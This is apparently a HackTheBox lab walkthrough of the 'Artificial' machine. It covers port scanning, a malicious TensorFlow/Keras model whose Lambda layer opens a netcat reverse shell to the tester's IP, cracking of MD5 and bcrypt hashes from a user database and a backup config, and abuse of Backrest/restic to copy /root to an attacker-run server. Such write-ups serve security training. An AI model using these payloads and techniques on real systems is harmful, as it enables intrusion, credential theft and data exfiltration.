Artificial

📅 Last Updated: Jul 11, 2025 07:27 | 📄 Size: 12.5 KB | 🎯 Type: HackTheBox Writeup | 🔗 Back to List

Port scan

┌──(wither㉿localhost)-[~/Templates/htb-labs/Artificial]
└─$ nmap -sC -sV -Pn 10.10.11.74 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-12 01:18 AEST
Nmap scan report for 10.10.11.74
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.90 seconds

Firstly, let's add the domain to our /etc/hosts

Page check

index page In this page, we can find a login and register page here.

login and register page and register page We can create a test account here and get into dashboard page.

dashboard page In this page, there is a way to upload the ai model. By press the requirements button, then we can get the requirement.txt

tensorflow-cpu==2.13.1

From the dockerfile button, we get the file Dockerfile

FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]

So we can get the version of service tensorflow-cpu==2.13.1

Then let's google the vulnerability of this version. They looks like a target of RCE for us.

TensorFlow RCE

Let's follow the article of this link

https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model#getting-the-rce

We need to make the exploit.py to create a malicious model to upload

import tensorflow as tf

def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 6666 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

In this place, there is a problem with kali-linux, the version of python is 3.13.But for tensorflow, it only support below 3.10.

So the best way is to use the docker environment provided.

[root@kali] /home/kali/Artificial  
❯ docker build -t my-tf-image .
[+] Building 63.8s (8/8) FINISHED                                                                                                docker:default
 => [internal] load build definition from Dockerfile                                                                                       0.0s
 => => transferring dockerfile: 540B                                                                                                       0.0s 
 => [internal] load metadata for docker.io/library/python:3.8-slim                                                                        15.0s 
 => [internal] load .dockerignore                                                                                                          0.0s
 => => transferring context: 2B                                                                                                            0.0s 
 => [1/4] FROM docker.io/library/python:3.8-slim@sha256:1d52838af602b4b5a831beb13a0e4d073280665ea7be7f69ce2382f29c5a613f                   0.0s 
 => CACHED [2/4] WORKDIR /code                                                                                                             0.0s 
 => CACHED [3/4] RUN apt-get update &&     apt-get install -y curl &&     curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090  0.0s 
 => [4/4] RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl -i https://pypi.mirrors.ustc.  43.3s 
 => exporting to image                                                                                                                     5.5s 
 => => exporting layers                                                                                                                    5.5s 
 => => writing image sha256:3ce3493863cf4d877a17cb49f6153636af12fdd54a2b3ed3623e5d933ff8abff                                               0.0s 
 => => naming to docker.io/library/my-tf-image                                                                                             0.0s 

After uploading, click View Predictions to get the reverse shell

Shell as gael

There is a database user.db in ~/app/instance

app@artificial:~/app/instance$ sqlite3 users.db 

Enter ".help" for usage hints.
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|notthei0204|notthei0204@gmail.com|f0f1f60430a59e920764a7b1be6041fc

By using john to crack these hashes, we get the password of user gael

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-md5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
mattp005numbertwo (?)     
1g 0:00:00:00 DONE (2025-06-23 04:46) 3.448g/s 19728Kp/s 19728Kc/s 19728KC/s mattpapa..mattne
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 

gael:mattp005numbertwo

Then we can use ssh to connect it and get the shell as gael

Shell as root

Firstly I would like check sudo -l

gael@artificial:~$ sudo -l
[sudo] password for gael: 
Sorry, user gael may not run sudo on artificial.

Nothing useful here.

Continue to check the port services

gael@artificial:~$ netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9898          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      - 

Port 5000 service is the web service of docker, port 9898 seems interesting

gael@artificial:~$ curl 127.0.0.1:9898
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

Let's port forwarding to our local machine

ssh gael@10.10.11.74 -L 9898:localhost:9898

There is the version of service Backrest 1.7.2 By google the exploits of it, I did not find anything interesting. But I find the github of this service https://github.com/garethgeorge/backrest/compare/v1.7.1...v1.7.2

I have tried the credit of gael we have gael:mattp005numbertwo, but it did not worked.

Let's try to find the files of this service I found the service file /opt/backrest and the backup file /var/backups/backrest_backup.tar.gz

We can download the backup files and check the .config/config.json

┌──(wither㉿localhost)-[~/…/Artificial/backrest/.config/backrest]
└─$ cat config.json      
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

The password hash seems to be encrypted by Base64, let's use cyberchef to reverse it.

$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

Then let's use john to crack it.

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt   
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^           (?)     
1g 0:00:00:15 DONE (2025-06-23 05:01) 0.06544g/s 353.4p/s 353.4c/s 353.4C/s lightbulb..huevos
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Then we get the credit backrest_root:!@#$%^ and we can log in successfully and take into the dashboard We can make a repositories and run the command This command line will run the /opt/backrest/restic We can find the hacker tricks from GTOBins Firstly, we need to start the service in our local machine

┌──(wither㉿localhost)-[/opt/rest-server]
└─$ ./rest-server --path /tmp/restic-data --listen :12345 --no-auth
Data directory: /tmp/restic-data
Authentication disabled
Append only mode disabled
Private repositories disabled
Group accessible repos disabled
start server on [::]:12345

Then we run the commands in the repo command line

// init repo
-r rest:http://10.10.14.16:12345/myrepo init

// backup /root to remote
 -r rest:http://10.10.14.16:12345/myrepo backup /root

Then come to our local machine

Check out the local sunshine
┌──(wither㉿localhost)-[/tmp/restic-data]
└─$ restic -r /tmp/restic-data/myrepo snapshots
enter password for repository: 
repository cbcd124c opened (version 2, compression level auto)
found 2 old cache directories in /home/wither/.cache/restic, run `restic cache --cleanup` to remove them
ID        Time                 Host        Tags        Paths  Size
-----------------------------------------------------------------------
ec3008a9  2025-07-11 16:54:54  artificial              /root  4.299 MiB
-----------------------------------------------------------------------
1 snapshots
                                                                                                                                                                                

progress and success
┌──(wither㉿localhost)-[/tmp/restic-data]
└─$ restic -r /tmp/restic-data/myrepo restore ec3008a9 --target ./restore
enter password for repository: 
repository cbcd124c opened (version 2, compression level auto)
found 2 old cache directories in /home/wither/.cache/restic, run `restic cache --cleanup` to remove them
[0:00] 100.00%  1 / 1 index files loaded
restoring snapshot ec3008a9 of [/root] at 2025-07-11 06:54:54.1608143 +0000 UTC by root@artificial to ./restore
Summary: Restored 80 files/dirs (4.299 MiB) in 0:00

Then we can get the root.txt and the .ssh directory, so we can ssh to connect to the root shell.

┌──(wither㉿localhost)-[/tmp/restic-data/restore/root/.ssh]
└─$ ssh -i id_rsa root@10.10.11.74              
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

Description

Due to the difficulty of making this equipment, we will provide you with a clear version of each step.

The main demand for using docker is to solve the problem of building an environment in Python 3, which is free and compatible.